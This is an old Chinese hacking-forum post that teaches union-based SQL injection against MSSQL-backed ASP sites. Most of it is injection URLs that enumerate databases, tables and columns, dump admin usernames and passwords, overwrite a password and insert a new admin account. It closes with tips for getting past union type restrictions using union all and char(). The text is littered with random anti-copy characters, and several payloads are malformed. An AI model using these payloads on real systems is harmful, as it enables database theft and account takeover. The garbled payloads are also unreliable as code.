找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1940|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:: E/ I, u3 _+ X+ u* Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--$ |* }% x' C9 `
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.7 K. }2 c: p! Q0 |7 p; \/ }
爆下一个库:; x0 P: s1 c& O2 W9 c
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--; j3 _1 e6 K8 t, l
# Q9 U& k# W' A4 k
爆表:, l4 T5 I5 h( ~7 c5 P
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
) Y( ^0 l& v( s
! ?. v: _# D1 s( d3 |7 x' \2 nSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.( H5 q2 q' K- `, j
" i5 v: I$ H% X, _6 o* {7 V5 ?
爆下一个表
( A, s8 n& Y, C& Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
  r) A8 s' q" x  `# o( h% y' a1 U. U/ E4 K9 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--$ m9 E: \6 k4 a- ~& j1 ~- Y( @; z

; l; S  z5 w* ]  [1 l, X' P  r2 Q- L5 F& s9 Q; w

- _7 _( H5 n6 j7 [爆字段:
  G7 }+ C  u; Z( L# ~5 Ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--8 ]0 u- R. l0 `' e: |

9 J) N" K1 I; X3 ~. j- y爆下一个字段" G+ z/ _# Z( ~; m# r9 z8 s- B
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--3 u. }* c$ _. @- ?: w

& `6 j4 k7 L8 C; f, `http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--- O3 G0 `0 |! ?) L/ G2 n& r

) ?, w; E8 Q+ v1 A! [
: C1 I" O6 C" C3 [( V爆字段里的内容( |0 W4 \3 Z; R, f/ u
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--; q8 x! Z( G( {. t. [
& [1 B  [9 L+ [  j* q+ T
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
+ _; J4 ]- A9 S) `# Y
0 e# G# }! U" N) a, rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--" H9 M3 W4 z/ k7 W5 M, J9 d

( n' {2 T: _+ J8 ?3 y* ?http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--+ ]/ X. n- z1 T$ d8 o1 ^0 M8 D% b9 ?

$ U3 q; i5 F+ S7 F6 n5 ^更新字段里的内容
6 `5 H4 x0 I2 h/ L+ R' C9 W. _! R5 mhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--( O' Q: m9 N9 Z8 d+ m
- F$ Y& K2 A" W; x  i
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
) F6 Y! N6 }  r, ?
- |# y' B) |3 z  E% `1 K% I3 Z; Z' V

5 F0 g: `6 a3 n0 v3 l7 v9 B% ^        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。0 L2 E; ^/ [6 ~6 j4 ]/ e
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。+ x: {3 I% }, Z0 I9 Z% I
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
& }0 u( k7 a, f0 _    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
# ?4 G) [$ y! R3 g
  r  x8 a0 Y  q" w突了了大部份限制的语句6 T3 F. f4 ?' h7 Z  `9 [
and 1=2 union all select char(49),char(50),null,null;--
. g: j2 S7 c( Z0 O; l+ @# O+ T* C; B% k) r( U( ]* o4 N( U

: b2 B9 ?# J9 I* x6 D4 e& f% S, ]null也可以正常执行,不过没有回显,不好判断回显的列数。+ _% r$ e' `2 ?1 n4 E5 b$ N7 @
一般union遇到问题都是有text或者ntext字段,image的很少遇到
0 ^3 R! @, U4 P2 \0 {  L; D% N4 |9 m2 }
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
8 `9 r' g# ?# \% g( a5 z8 u
2 X, _. z( }8 x7 S4 A" ]& F
% H3 e& e# x' [3 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表